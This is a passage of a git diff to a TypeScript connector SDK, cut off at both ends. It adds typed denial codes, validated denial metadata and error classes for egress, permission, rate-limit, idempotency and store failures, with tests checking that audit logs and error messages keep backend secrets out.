TypeError('invalid connector decision code'); + } + return CONNECTOR_DECISIONS[code].retryable; +} + +/** A decision code that can deny connector execution. */ +export type ConnectorDenialCode = + | 'EGRESS_INPUT_INVALID' + | 'EGRESS_URL_INVALID' + | 'EGRESS_SCHEME_NOT_ALLOWED' + | 'EGRESS_HOST_NOT_DECLARED' + | 'EGRESS_REDIRECT_URL_INVALID' + | 'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED' + | 'EGRESS_REDIRECT_HOST_DENIED' + | 'EGRESS_REDIRECT_UNVERIFIABLE' + | 'EGRESS_REDIRECT_LIMIT_EXCEEDED' + | 'EGRESS_REDIRECT_BODY_UNREPLAYABLE' + | 'EGRESS_DENIED' + | 'EGRESS_HOST_NOT_ALLOWED_BY_ORG' + | 'PERMISSION_PROJECTION_INVALID' + | 'PERMISSION_MISSING' + | 'APPROVAL_GRANT_MISSING' + | 'RATE_LIMIT_EXCEEDED' + | 'IDEMPOTENCY_KEY_MISSING' + | 'IDEMPOTENCY_CONFLICT' + | 'IDEMPOTENCY_LEGACY_AMBIGUOUS' + | 'IDEMPOTENCY_MIGRATION_REQUIRED' + | 'DRY_RUN_UNSUPPORTED' + | 'WORKFLOW_SCOPE_MISSING' + | 'CROSS_WORKFLOW_ACCESS_DENIED' + | 'ISOLATION_SCOPE_MISSING' + | 'BACKGROUND_OVERRIDE_DENIED' + | 'BACKGROUND_EXECUTION_DENIED' + | 'EVALUATOR_DENIED'; + +/** Copied, code-specific diagnostic fields that exclude causes and payloads. */ +export type ConnectorDecisionDetails< + Code extends ConnectorDenialCode = ConnectorDenialCode, +> = + Code extends Exclude< + Extract, + 'EGRESS_HOST_NOT_ALLOWED_BY_ORG' + > + ? Readonly<{ host?: string | null; hop?: number }> + : Code extends 'EGRESS_HOST_NOT_ALLOWED_BY_ORG' + ? Readonly<{ declaredHost?: string }> + : Code extends 'PERMISSION_PROJECTION_INVALID' + ? Readonly<{ requiredPermissions?: readonly string[] }> + : Code extends 'PERMISSION_MISSING' + ? Readonly<{ + requiredPermissions?: readonly string[]; + missingPermissions?: readonly string[]; + permissionPolicyVersion?: string; + }> + : Code extends 'RATE_LIMIT_EXCEEDED' + ? Readonly<{ limit?: number; windowMs?: number }> + : never; + +/** Safe detail fields associated with each connector denial code. */ +export type ConnectorDenialMetadata = { + [Code in ConnectorDenialCode]: Readonly<{ + code: Code; + details?: ConnectorDecisionDetails; + }>; +}[ConnectorDenialCode]; + +const normalizedDeclaration = z + .string() + .refine((value) => /^(?:\*\.)?[a-z0-9][a-z0-9.-]*$/.test(value)); +const normalizedHost = z.string().refine((value) => { + if (/^\[[0-9a-f:.]+\]$/.test(value)) return true; + if (value !== value.toLowerCase() || /[#/:<>?@[\\\]^|]/.test(value)) { + return false; + } + for (const character of value) { + const code = character.charCodeAt(0); + if (code <= 0x20 || code === 0x7f) return false; + } + return true; +}); +const egressDetails = z + .strictObject({ + host: normalizedHost.nullable().optional(), + hop: z.number().int().nonnegative().safe().optional(), + }) + .readonly(); +const permissions = z + .array(z.custom(isPermissionIdentifier)) + .readonly(); +const policyVersion = z.custom((value) => + isPrincipalPermissions({ permissions: [], policyVersion: value }), +); +const noDetails = z.never(); + +const denialDetails = { + EGRESS_INPUT_INVALID: egressDetails, + EGRESS_URL_INVALID: egressDetails, + EGRESS_SCHEME_NOT_ALLOWED: egressDetails, + EGRESS_HOST_NOT_DECLARED: egressDetails, + EGRESS_REDIRECT_URL_INVALID: egressDetails, + EGRESS_REDIRECT_SCHEME_NOT_ALLOWED: egressDetails, + EGRESS_REDIRECT_HOST_DENIED: egressDetails, + EGRESS_REDIRECT_UNVERIFIABLE: egressDetails, + EGRESS_REDIRECT_LIMIT_EXCEEDED: egressDetails, + EGRESS_REDIRECT_BODY_UNREPLAYABLE: egressDetails, + EGRESS_DENIED: egressDetails, + EGRESS_HOST_NOT_ALLOWED_BY_ORG: z + .strictObject({ declaredHost: normalizedDeclaration.optional() }) + .readonly(), + PERMISSION_PROJECTION_INVALID: z + .strictObject({ requiredPermissions: permissions.optional() }) + .readonly(), + PERMISSION_MISSING: z + .strictObject({ + requiredPermissions: permissions.optional(), + missingPermissions: permissions.optional(), + permissionPolicyVersion: policyVersion.optional(), + }) + .readonly(), + APPROVAL_GRANT_MISSING: noDetails, + RATE_LIMIT_EXCEEDED: z + .strictObject({ + limit: z.number().int().positive().safe().optional(), + windowMs: z.number().int().positive().safe().optional(), + }) + .readonly(), + IDEMPOTENCY_KEY_MISSING: noDetails, + IDEMPOTENCY_CONFLICT: noDetails, + IDEMPOTENCY_LEGACY_AMBIGUOUS: noDetails, + IDEMPOTENCY_MIGRATION_REQUIRED: noDetails, + DRY_RUN_UNSUPPORTED: noDetails, + WORKFLOW_SCOPE_MISSING: noDetails, + CROSS_WORKFLOW_ACCESS_DENIED: noDetails, + ISOLATION_SCOPE_MISSING: noDetails, + BACKGROUND_OVERRIDE_DENIED: noDetails, + BACKGROUND_EXECUTION_DENIED: noDetails, + EVALUATOR_DENIED: noDetails, +} satisfies { + [Code in ConnectorDenialCode]: z.ZodType>; +}; + +function invalidMetadata(): never { + throw new TypeError('invalid connector decision metadata'); +} + +const explicitMetadata = z.strictObject({ + code: z.custom( + (value) => typeof value === 'string' && Object.hasOwn(denialDetails, value), + ), + details: z.unknown().optional(), +}); + +/** @internal */ +export function captureConnectorDenialMetadata< + Code extends ConnectorDenialCode, +>(value: { + code: Code; + details?: Extract['details']; +}): Extract; +/** @internal */ +export function captureConnectorDenialMetadata( + value: unknown, +): ConnectorDenialMetadata; +export function captureConnectorDenialMetadata( + value: unknown, +): ConnectorDenialMetadata { + const parsed = explicitMetadata.safeParse(value); + if (!parsed.success) return invalidMetadata(); + const { code, details } = parsed.data; + if (details === undefined) { + return Object.freeze({ code }) as ConnectorDenialMetadata; + } + const parsedDetails = denialDetails[code].safeParse(details); + if (!parsedDetails.success) return invalidMetadata(); + return Object.freeze({ + code, + details: parsedDetails.data, + }) as ConnectorDenialMetadata; +} + +/** @internal */ +export function captureConnectorEvaluatorMetadata( + decision: unknown, +): ConnectorDenialMetadata { + if ( + decision === null || + typeof decision !== 'object' || + Array.isArray(decision) || + 'retryable' in decision || + 'policyKind' in decision + ) { + return invalidMetadata(); + } + const code = Object.getOwnPropertyDescriptor(decision, 'code'); + const details = Object.getOwnPropertyDescriptor(decision, 'details'); + if ( + (code && !('value' in code)) || + (details && !('value' in details)) || + (!code && 'code' in decision) || + (!details && 'details' in decision) + ) { + return invalidMetadata(); + } + if (!code && !details) return Object.freeze({ code: 'EVALUATOR_DENIED' }); + return captureConnectorDenialMetadata({ + code: code?.value, + details: details?.value, + }); +} + +/** Stable metadata for errors authored by the connector boundary. */ +export interface ConnectorErrorDecision { + readonly kind: + | 'connector-policy' + | 'connector-store' + | 'connector-evaluator' + | 'connector-validation' + | 'connector-invocation'; + readonly code: ConnectorDecisionCode; + readonly policyKind: ConnectorPolicyName; + readonly retryable: boolean; + readonly details?: ConnectorDecisionDetails; +} + +const errorDecisions = new WeakMap(); + +function registerDecision( + error: Error, + kind: ConnectorErrorDecision['kind'], + code: ConnectorDecisionCode, + reason: string, + details?: ConnectorDecisionDetails, +): void { + const { policyKind, retryable } = CONNECTOR_DECISIONS[code]; + errorDecisions.set( + error, + Object.freeze({ kind, code, policyKind, retryable, details }), + ); + registerSafeAuditError(error, { + reason, + detail: { kind, decisionCode: code, policyKind, retryable }, + }); +} + +/** @internal */ +export function connectorErrorDecision( + error: unknown, +): ConnectorErrorDecision | undefined { + return typeof error === 'object' && error !== null + ? errorDecisions.get(error) + : undefined; +} + +/** Policy refusal; diagnostic names do not determine machine classification. */ +export class ConnectorPolicyError extends Error { + readonly kind = 'connector-policy'; + readonly connector: string; + readonly policy: string; + readonly reason: string; + readonly code: ConnectorDenialCode; + readonly policyKind: ConnectorPolicyName; + readonly retryable: boolean; + readonly details?: ConnectorDecisionDetails; + + constructor( + connector: string, + policy: string, + reason: string, + metadata?: ConnectorDenialMetadata, + ) { + super(`connector ${connector} denied by ${policy}: ${reason}`); + const captured = captureConnectorDenialMetadata( + metadata === undefined ? { code: 'EVALUATOR_DENIED' } : metadata, + ); + this.name = 'ConnectorPolicyError'; + this.connector = connector; + this.policy = policy; + this.reason = reason; + this.code = captured.code; + this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind; + this.retryable = CONNECTOR_DECISIONS[this.code].retryable; + this.details = captured.details; + registerDecision( + this, + this.kind, + this.code, + 'connector policy denied execution', + this.details, + ); + } +} + +/** Store used at the connector enforcement boundary. */ +export type ConnectorStoreName = 'rate-limit' | 'idempotency'; + +/** Actual store method whose invocation failed. */ +export type ConnectorStoreOperation = + | 'increment' + | 'get' + | 'inspect' + | 'reserve' + | 'put' + | 'release'; + +/** Storage failure with its original thrown value available as native cause. */ +export class ConnectorStoreError extends Error { + readonly kind = 'connector-store'; + readonly connector: string; + readonly store: ConnectorStoreName; + readonly operation: ConnectorStoreOperation; + readonly code: + | 'STORE_UNAVAILABLE' + | 'STORE_COMMIT_FAILED' + | 'STORE_RELEASE_FAILED'; + readonly policyKind: 'store'; + readonly retryable: boolean; + + constructor( + connector: string, + store: ConnectorStoreName, + operation: ConnectorStoreOperation, + options?: ErrorOptions, + ) { + const code = + operation === 'put' + ? 'STORE_COMMIT_FAILED' + : operation === 'release' + ? 'STORE_RELEASE_FAILED' + : 'STORE_UNAVAILABLE'; + const message = + code === 'STORE_COMMIT_FAILED' + ? 'connector store commit failed' + : code === 'STORE_RELEASE_FAILED' + ? 'connector store release failed' + : 'connector store unavailable'; + super(message, options); + if ( + (store !== 'rate-limit' && store !== 'idempotency') || + (store === 'rate-limit' + ? operation !== 'increment' + : !['get', 'inspect', 'reserve', 'put', 'release'].includes(operation)) + ) { + throw new TypeError('invalid connector store operation'); + } + this.name = 'ConnectorStoreError'; + this.connector = connector; + this.store = store; + this.operation = operation; + this.code = code; + this.policyKind = CONNECTOR_DECISIONS[code].policyKind; + this.retryable = CONNECTOR_DECISIONS[code].retryable; + registerDecision(this, this.kind, code, message); + } +} + +/** An evaluator failed before returning a valid connector decision. */ +export class ConnectorEvaluatorError extends Error { + readonly kind = 'connector-evaluator'; + readonly connector: string; + readonly policy: string; + readonly code = 'EVALUATOR_FAILED'; + readonly policyKind = CONNECTOR_DECISIONS.EVALUATOR_FAILED.policyKind; + readonly retryable = CONNECTOR_DECISIONS.EVALUATOR_FAILED.retryable; + + constructor(connector: string, policy: string, options?: ErrorOptions) { + super('connector policy evaluator failed', options); + this.name = 'ConnectorEvaluatorError'; + this.connector = connector; + this.policy = policy; + registerDecision(this, this.kind, this.code, this.message); + } +} + +/** Redacted input or output validation failure from a direct connector call. */ +export class ConnectorValidationError extends Error { + readonly kind = 'connector-validation'; + readonly connector: string; + readonly phase: 'input' | 'output'; + readonly code: 'CONNECTOR_INPUT_INVALID' | 'CONNECTOR_OUTPUT_INVALID'; + readonly policyKind: 'validation'; + readonly retryable: false; + + constructor(connector: string, phase: 'input' | 'output') { + super('connector invocation failed validation'); + if (phase !== 'input' && phase !== 'output') { + throw new TypeError('invalid connector validation phase'); + } + this.name = 'ConnectorValidationError'; + this.connector = connector; + this.phase = phase; + this.code = + phase === 'input' + ? 'CONNECTOR_INPUT_INVALID' + : 'CONNECTOR_OUTPUT_INVALID'; + this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind; + this.retryable = CONNECTOR_DECISIONS[this.code].retryable; + registerDecision(this, this.kind, this.code, this.message); + } +} + +/** A failure to enter the registered connector invocation boundary. */ +export type ConnectorInvocationCode = { + [Code in ConnectorDecisionCode]: (typeof CONNECTOR_DECISIONS)[Code]['policyKind'] extends 'invocation' + ? Code + : never; +}[ConnectorDecisionCode]; + +/** Invalid direct invocation, retaining native TypeError compatibility. */ +export class ConnectorInvocationError extends TypeError { + readonly kind = 'connector-invocation'; + readonly connector: string | undefined; + readonly code: ConnectorInvocationCode; + readonly policyKind: 'invocation'; + readonly retryable: false; + + constructor( + connector: string | undefined, + code: ConnectorInvocationCode, + message: string, + ) { + super(message); + if ( + !isConnectorDecisionCode(code) || + CONNECTOR_DECISIONS[code].policyKind !== 'invocation' + ) { + throw new TypeError('invalid connector invocation code'); + } + this.name = 'ConnectorInvocationError'; + this.connector = connector; + this.code = code; + this.policyKind = CONNECTOR_DECISIONS[code].policyKind; + this.retryable = CONNECTOR_DECISIONS[code].retryable; + registerDecision( + this, + this.kind, + this.code, + 'connector invocation boundary failed', + ); + } +} diff --git a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts index 9aed93e4..50a3dffe 100644 --- a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts +++ b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts @@ -26,8 +26,11 @@ import { CONNECTOR_GRANTS_CONTEXT_KEY, type Connector, type ConnectorConfig, + ConnectorEvaluatorError, + ConnectorInvocationError, type ConnectorInvocationOptions, ConnectorPolicyError, + ConnectorStoreError, ConnectorValidationError, connectorManifest, createConnector as createConnectorBase, @@ -40,6 +43,7 @@ import { InMemoryRateLimitStore, invokeConnector, } from './index.js'; +import { replaceConnectorInvocation } from './invocation-registry.js'; // Most tests exercise post-migration behavior. Migration-boundary tests call // createConnectorBase directly so absence of the explicit acknowledgement and @@ -1186,7 +1190,7 @@ describe('invokeConnector', () => { expect(execute).not.toHaveBeenCalled(); }); - it('rethrows connector policy and application errors unchanged', async () => { + it('wraps evaluator throws and preserves application error identity', async () => { const policyError = new ConnectorPolicyError( 'direct.policy-error', 'custom-policy', @@ -1208,7 +1212,10 @@ describe('invokeConnector', () => { ], }, }); - await expect(invokeConnector(policyTool, {})).rejects.toBe(policyError); + await expect(invokeConnector(policyTool, {})).rejects.toMatchObject({ + code: 'EVALUATOR_FAILED', + cause: policyError, + }); const applicationError = new Error('application-owned failure'); const applicationTool = createConnector({ @@ -1432,7 +1439,9 @@ describe('custom tool-boundary evaluators', () => { }, }); // #when / #then - await expect(run(tool, input)).rejects.toThrow(PRIVATE_BACKEND_SENTINEL); + await expect(run(tool, input)).rejects.toMatchObject({ + cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }), + }); expect(execute).not.toHaveBeenCalled(); expect(audit.events()).toMatchObject([ { @@ -2548,12 +2557,15 @@ describe('idempotency', () => { // #when / #then await expect( run(tool, input, makeContext({ idempotencyKey: 'k1' })), - ).rejects.toThrow(PRIVATE_BACKEND_SENTINEL); + ).rejects.toMatchObject({ + code: 'STORE_UNAVAILABLE', + cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }), + }); expect(execute).not.toHaveBeenCalled(); expect(audit.events()).toMatchObject([ { decision: 'error', - reason: 'idempotency store inspect failed', + reason: 'idempotency store get failed', detail: { stage: 'idempotency-store' }, }, ]); @@ -3226,11 +3238,12 @@ describe('atomic idempotency (reserve path)', () => { }, }); - // #when / #then — the raw error propagates, execute never ran, and the - // reservation is released so the key stays retryable await expect( run(tool, input, makeContext({ idempotencyKey: 'k1' })), - ).rejects.toThrow('counter backend down'); + ).rejects.toMatchObject({ + code: 'STORE_UNAVAILABLE', + cause: expect.objectContaining({ message: 'counter backend down' }), + }); expect(execute).not.toHaveBeenCalled(); expect(store.release).toHaveBeenCalledWith( expect.stringMatching(/^bw2_i_u_[0-9a-f]+_[0-9a-f]+$/), @@ -3269,15 +3282,20 @@ describe('atomic idempotency (reserve path)', () => { }, }); - // #when / #then — the caller receives an Error carrying the message - // (the primitive rides on `cause`), execute never ran const failure = await run( tool, input, makeContext({ idempotencyKey: 'k1' }), ).catch((error: unknown) => error); - expect(failure).toBeInstanceOf(Error); - expect((failure as Error).message).toBe('counter backend down (primitive)'); + expect(failure).toBeInstanceOf(ConnectorStoreError); + expect(failure).toMatchObject({ + code: 'STORE_UNAVAILABLE', + operation: 'increment', + retryable: true, + }); + expect((failure as Error).message).not.toContain( + 'counter backend down (primitive)', + ); expect((failure as Error).cause).toBe('counter backend down (primitive)'); expect(execute).not.toHaveBeenCalled(); // #then — still exactly ONE audit record; no misattributed second @@ -3323,7 +3341,10 @@ describe('atomic idempotency (reserve path)', () => { // #when / #then await expect( run(tool, input, makeContext({ idempotencyKey: 'k1' })), - ).rejects.toThrow(PRIVATE_BACKEND_SENTINEL); + ).rejects.toMatchObject({ + code: 'STORE_UNAVAILABLE', + cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }), + }); expect(execute).not.toHaveBeenCalled(); expect(audit.events()).toMatchObject([ { @@ -3467,7 +3488,8 @@ describe('atomic idempotency (reserve path)', () => { for (const outcome of outcomes) { expect(outcome.status).toBe('rejected'); expect((outcome as PromiseRejectedResult).reason).toMatchObject({ - message: 'd1 reserve down', + code: 'STORE_UNAVAILABLE', + cause: expect.objectContaining({ message: 'd1 reserve down' }), }); } expect(execute).not.toHaveBeenCalled(); @@ -3836,7 +3858,10 @@ describe('rate limit', () => { }, }); // #when / #then - await expect(run(tool, input)).rejects.toThrow(PRIVATE_BACKEND_SENTINEL); + await expect(run(tool, input)).rejects.toMatchObject({ + code: 'STORE_UNAVAILABLE', + cause: expect.objectContaining({ message: PRIVATE_BACKEND_SENTINEL }), + }); expect(execute).not.toHaveBeenCalled(); expect(audit.events()).toMatchObject([ { @@ -4702,3 +4727,1038 @@ describe('_background model-override defense (DL-005)', () => { expect(resolved.runInBackground).toBe(false); }); }); + +describe('connector decision taxonomy', () => { + const denialCases: readonly { + label: string; + code: string; + policyKind: string; + retryable?: boolean; + config: Partial; + context?: () => ToolExecutionContext; + input?: unknown; + details?: Record; + }[] = [ + { + label: 'organization egress', + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + policyKind: 'network-egress', + config: { + permissions: { sideEffect: 'read', egress: ['private.example.com'] }, + policies: { + networkEgress: { name: 'renamed-egress', allowedDomains: [] }, + }, + }, + details: { declaredHost: 'private.example.com' }, + }, + { + label: 'missing permission projection', + code: 'PERMISSION_PROJECTION_INVALID', + policyKind: 'required-permissions', + config: { + permissions: { + sideEffect: 'read', + requiredPermissions: ['contacts.write'], + }, + }, + details: { requiredPermissions: ['contacts.write'] }, + }, + { + label: 'missing required permission', + code: 'PERMISSION_MISSING', + policyKind: 'required-permissions', + config: { + permissions: { + sideEffect: 'read', + requiredPermissions: ['contacts.write', 'crm.access'], + }, + }, + context: () => + makeContext({ + principalPermissions: { + permissions: ['contacts.write', 'private.effective'], + policyVersion: 'v7', + }, + }), + details: { + requiredPermissions: ['contacts.write', 'crm.access'], + missingPermissions: ['crm.access'], + permissionPolicyVersion: 'v7', + }, + }, + { + label: 'missing approval grant', + code: 'APPROVAL_GRANT_MISSING', + policyKind: 'write-permissions', + config: { permissions: { sideEffect: 'destructive' } }, + }, + { + label: 'rate exhausted', + code: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + config: { + permissions: { sideEffect: 'read', rateLimit: '1/min' }, + policies: { rateLimitStore: { increment: () => 2 } }, + }, + details: { limit: 1, windowMs: 60_000 }, + }, + { + label: 'missing idempotency key', + code: 'IDEMPOTENCY_KEY_MISSING', + policyKind: 'idempotency', + config: { + permissions: { sideEffect: 'read', idempotencyKey: true }, + policies: { idempotencyStore: new InMemoryIdempotencyStore() }, + }, + }, + { + label: 'dry-run unavailable', + code: 'DRY_RUN_UNSUPPORTED', + policyKind: 'dry-run', + config: {}, + context: () => makeContext({ dryRun: true }), + }, + { + label: 'foreground override', + code: 'BACKGROUND_OVERRIDE_DENIED', + policyKind: 'background', + config: {}, + input: { _background: { enabled: false } }, + }, + { + label: 'missing workflow scope', + code: 'WORKFLOW_SCOPE_MISSING', + policyKind: 'cross-workflow-isolation', + config: { + policies: { + evaluators: [ + crossWorkflowIsolation({ + name: 'renamed-workflow', + targetScopeOf: (call) => + (call.input as { workflowId: string }).workflowId, + }), + ], + }, + }, + input: { workflowId: 'other' }, + }, + { + label: 'foreign workflow', + code: 'CROSS_WORKFLOW_ACCESS_DENIED', + policyKind: 'cross-workflow-isolation', + config: { + policies: { + evaluators: [ + crossWorkflowIsolation({ + name: 'renamed-workflow', + targetScopeOf: (call) => + (call.input as { workflowId: string }).workflowId, + }), + ], + }, + }, + context: () => { + const context = makeContext(); + context.requestContext?.set(WORKFLOW_SCOPE_CONTEXT_KEY, 'own'); + return context; + }, + input: { workflowId: 'other' }, + }, + { + label: 'missing isolation scope', + code: 'ISOLATION_SCOPE_MISSING', + policyKind: 'tenant-isolation', + config: { + policies: { evaluators: [tenantIsolation({ name: 'renamed-tenant' })] }, + }, + }, + { + label: 'custom evaluator with built-in diagnostic name', + code: 'EVALUATOR_DENIED', + policyKind: 'evaluator', + config: { + policies: { + evaluators: [ + { + name: 'network-egress', + evaluate: () => ({ + allowed: false, + reason: 'custom diagnostic wording', + }), + }, + ], + }, + }, + }, + ]; + + it.each(denialCases)('matches the error and audit for $label', async ({ + code, + policyKind, + retryable = false, + config, + context, + input: value, + details, + }) => { + const audit = new AuditLogger(); + const execute = vi.fn(async () => 'executed'); + const tool = createConnector({ + id: 'taxonomy.denial', + description: 'Exercise a connector refusal', + permissions: { sideEffect: 'read' }, + ...config, + policies: { ...config.policies, audit }, + execute, + }); + const error = await run(tool, value ?? {}, context?.()).catch( + (failure: unknown) => failure, + ); + expect(error).toBeInstanceOf(ConnectorPolicyError); + expect(error).toMatchObject({ + code, + policyKind, + retryable, + connector: 'taxonomy.denial', + }); + expect((error as ConnectorPolicyError).details).toEqual(details); + expect(execute).not.toHaveBeenCalled(); + expect(audit.events()).toHaveLength(1); + expect(audit.events()[0]).toMatchObject({ + decision: 'denied', + decisionCode: code, + policyKind, + retryable, + }); + expect( + JSON.stringify((error as ConnectorPolicyError).details ?? null), + ).not.toContain('private.effective'); + expect(JSON.stringify(audit.events())).not.toContain('private.effective'); + }); + + it.each([ + [ + 'legacy pending', + 'pending', + false, + true, + 'IDEMPOTENCY_CONFLICT', + 'idempotency', + true, + ], + [ + 'ambiguous legacy replay', + 'replay', + true, + true, + 'IDEMPOTENCY_LEGACY_AMBIGUOUS', + 'idempotency-key-migration', + false, + ], + [ + 'migration unacknowledged', + 'absent', + false, + false, + 'IDEMPOTENCY_MIGRATION_REQUIRED', + 'idempotency-key-migration', + false, + ], + [ + 'current reservation pending', + 'absent', + false, + true, + 'IDEMPOTENCY_CONFLICT', + 'idempotency', + true, + ], + ] as const)('classifies %s without entering execute', async (_label, legacyState, ambiguous, acknowledged, code, policyKind, retryable) => { + const audit = new AuditLogger(); + const execute = vi.fn(async () => 'executed'); + const reserve = vi.fn(() => ({ state: 'pending' as const })); + const store = { + inspect: () => + legacyState === 'replay' + ? { state: 'replay' as const, record: { result: 'legacy' } } + : { state: legacyState }, + get: vi.fn(() => undefined), + reserve, + put: vi.fn(), + release: vi.fn(), + }; + const tool = createConnectorBase({ + id: 'taxonomy.pending', + description: 'Observe reservation refusal', + permissions: { sideEffect: 'read', idempotencyKey: true }, + policies: { + audit, + idempotencyStore: store, + ...(acknowledged + ? { idempotencyKeyMigration: 'legacy-writers-drained' as const } + : {}), + }, + execute, + }); + const error = await run( + tool, + {}, + makeContext({ idempotencyKey: ambiguous ? 'a:b' : 'k1' }), + ).catch((failure: unknown) => failure); + expect(error).toMatchObject({ code, policyKind, retryable }); + expect(audit.events()).toMatchObject([ + { decision: 'denied', decisionCode: code, policyKind, retryable }, + ]); + expect(execute).not.toHaveBeenCalled(); + expect(store.put).not.toHaveBeenCalled(); + expect(store.release).not.toHaveBeenCalled(); + expect(reserve).toHaveBeenCalledTimes( + legacyState === 'absent' && acknowledged ? 1 : 0, + ); + }); + + it.each([ + 'increment', + 'legacy-get', + 'inspect', + 'get', + 'reserve', + ] as const)('wraps %s before execution with the original cause', async (phase) => { + for (const cause of [ + new Error(PRIVATE_BACKEND_SENTINEL), + { secret: PRIVATE_BACKEND_SENTINEL }, + PRIVATE_BACKEND_SENTINEL, + null, + undefined, + ]) { + const audit = new AuditLogger(); + const execute = vi.fn(async () => 'executed'); + const fail = () => { + throw cause; + }; + const store = { + get: vi.fn((key: string) => { + if ( + phase === 'legacy-get' || + (phase === 'get' && key.startsWith('bw2_')) + ) + return fail(); + return undefined; + }), + put: vi.fn(), + ...(phase === 'inspect' || phase === 'reserve' + ? { + inspect: vi.fn(() => { + if (phase === 'inspect') return fail(); + return { state: 'absent' as const }; + }), + } + : {}), + ...(phase === 'reserve' + ? { reserve: vi.fn(fail), release: vi.fn() } + : {}), + }; + const tool = createConnector({ + id: 'taxonomy.store', + description: 'Observe store failure', + permissions: { + sideEffect: 'read', + ...(phase === 'increment' + ? { rateLimit: '1/min' } + : { idempotencyKey: true }), + }, + policies: { + audit, + ...(phase === 'increment' + ? { rateLimitStore: { increment: fail } } + : { idempotencyStore: store }), + }, + execute, + }); + const error = await run( + tool, + {}, + makeContext({ idempotencyKey: 'private-key' }), + ).catch((failure: unknown) => failure); + expect(error).toBeInstanceOf(ConnectorStoreError); + expect(error).toMatchObject({ + code: 'STORE_UNAVAILABLE', + policyKind: 'store', + retryable: true, + operation: phase === 'legacy-get' ? 'get' : phase, + store: phase === 'increment' ? 'rate-limit' : 'idempotency', + }); + expect((error as Error).cause).toBe(cause); + expect((error as Error).message).not.toContain(PRIVATE_BACKEND_SENTINEL); + expect(audit.events()).toMatchObject([ + { + decision: 'error', + decisionCode: 'STORE_UNAVAILABLE', + policyKind: 'store', + retryable: true, + }, + ]); + expect(JSON.stringify(audit.events())).not.toContain( + PRIVATE_BACKEND_SENTINEL, + ); + expect(execute).not.toHaveBeenCalled(); + expect(store.put).not.toHaveBeenCalled(); + } + }); + + it.each([ + false, + true, + ])('keeps successful output after put fails (atomic %s)', async (atomic) => { + const audit = new AuditLogger(); + const cause = new Error(PRIVATE_BACKEND_SENTINEL); + const release = vi.fn(); + const execute = vi.fn(async () => ({ value: 'completed' })); + const store = { + get: () => undefined, + put: vi.fn(() => { + throw cause; + }), + ...(atomic + ? { + inspect: () => ({ state: 'absent' as const }), + reserve: () => ({ state: 'reserved' as const, token: 'lease' }), + release, + } + : {}), + }; + const tool = createConnector({ + id: 'taxonomy.commit', + description: 'Retain completed result', + permissions: { sideEffect: 'read', idempotencyKey: true }, + policies: { audit, idempotencyStore: store }, + execute, + }); + await expect( + run(tool, {}, makeContext({ idempotencyKey: 'same-logical-operation' })), + ).resolves.toEqual({ value: 'completed' }); + expect(execute).toHaveBeenCalledTimes(1); + expect(store.put).toHaveBeenCalledTimes(1); + expect(release).not.toHaveBeenCalled(); + expect(audit.events()).toMatchObject([ + { + decision: 'error', + decisionCode: 'STORE_COMMIT_FAILED', + policyKind: 'store', + retryable: false, + }, + { + decision: 'allowed', + decisionCode: 'CONNECTOR_ALLOWED', + policyKind: 'execution', + retryable: false, + }, + ]); + expect(JSON.stringify(audit.events())).not.toContain( + PRIVATE_BACKEND_SENTINEL, + ); + }); + + it('preserves the original execute failure after release fails', async () => { + const original = { arbitrary: 'application exception' }; + const audit = new AuditLogger(); + const store = { + get: () => undefined, + inspect: () => ({ state: 'absent' as const }), + reserve: () => ({ state: 'reserved' as const, token: 'lease' }), + put: vi.fn(), + release: vi.fn(() => { + throw PRIVATE_BACKEND_SENTINEL; + }), + }; + const tool = createConnector({ + id: 'taxonomy.release', + description: 'Preserve original failure', + permissions: { sideEffect: 'read', idempotencyKey: true }, + policies: { audit, idempotencyStore: store }, + execute: async () => { + throw original; + }, + }); + await expect( + run(tool, {}, makeContext({ idempotencyKey: 'same-key' })), + ).rejects.toBe(original); + expect(store.release).toHaveBeenCalledTimes(1); + expect(store.put).not.toHaveBeenCalled(); + expect(audit.events()).toMatchObject([ + { + decision: 'error', + decisionCode: 'STORE_RELEASE_FAILED', + policyKind: 'store', + retryable: false, + }, + { + decision: 'error', + decisionCode: 'CONNECTOR_EXECUTION_FAILED', + policyKind: 'execution', + retryable: false, + }, + ]); + expect(JSON.stringify(audit.events())).not.toContain( + PRIVATE_BACKEND_SENTINEL, + ); + }); + + it.each([ + { code: 'NOT_A_CODE' }, + { code: 'CONNECTOR_ALLOWED' }, + { + code: 'RATE_LIMIT_EXCEEDED', + details: { url: 'https://secret.example/path' }, + }, + { details: { host: 'example.com' } }, + { code: 'EVALUATOR_DENIED', retryable: true }, + { code: 'EVALUATOR_DENIED', policyKind: 'rate-limit' }, + Object.create({ code: 'RATE_LIMIT_EXCEEDED' }) as object, + Object.defineProperty({}, 'code', { + get() { + throw new Error(PRIVATE_BACKEND_SENTINEL); + }, + }), + ])('contains malformed evaluator metadata %# inside its failure boundary', async (metadata) => { + const audit = new AuditLogger(); + const execute = vi.fn(async () => 'executed'); + const decision = Object.defineProperties( + { allowed: false as const, reason: 'custom' }, + Object.getOwnPropertyDescriptors(metadata), + ); + Object.setPrototypeOf(decision, Object.getPrototypeOf(metadata)); + const tool = createConnector({ + id: 'taxonomy.evaluator', + description: 'Reject invalid decision metadata', + permissions: { sideEffect: 'read' }, + policies: { + audit, + evaluators: [{ name: 'custom', evaluate: () => decision }], + }, + execute, + }); + const error = await run(tool, {}).catch((failure: unknown) => failure); + expect(error).toBeInstanceOf(ConnectorEvaluatorError); + expect(error).toMatchObject({ + code: 'EVALUATOR_FAILED', + policyKind: 'evaluator', + retryable: false, + policy: 'custom', + }); + expect((error as Error).cause).toBeInstanceOf(TypeError); + expect(execute).not.toHaveBeenCalled(); + expect(audit.events()).toMatchObject([ + { + decision: 'error', + decisionCode: 'EVALUATOR_FAILED', + policyKind: 'evaluator', + retryable: false, + }, + ]); + expect(JSON.stringify(audit.events())).not.toContain('secret.example'); + expect(JSON.stringify(audit.events())).not.toContain( + PRIVATE_BACKEND_SENTINEL, + ); + }); + + it('captures evaluator metadata and 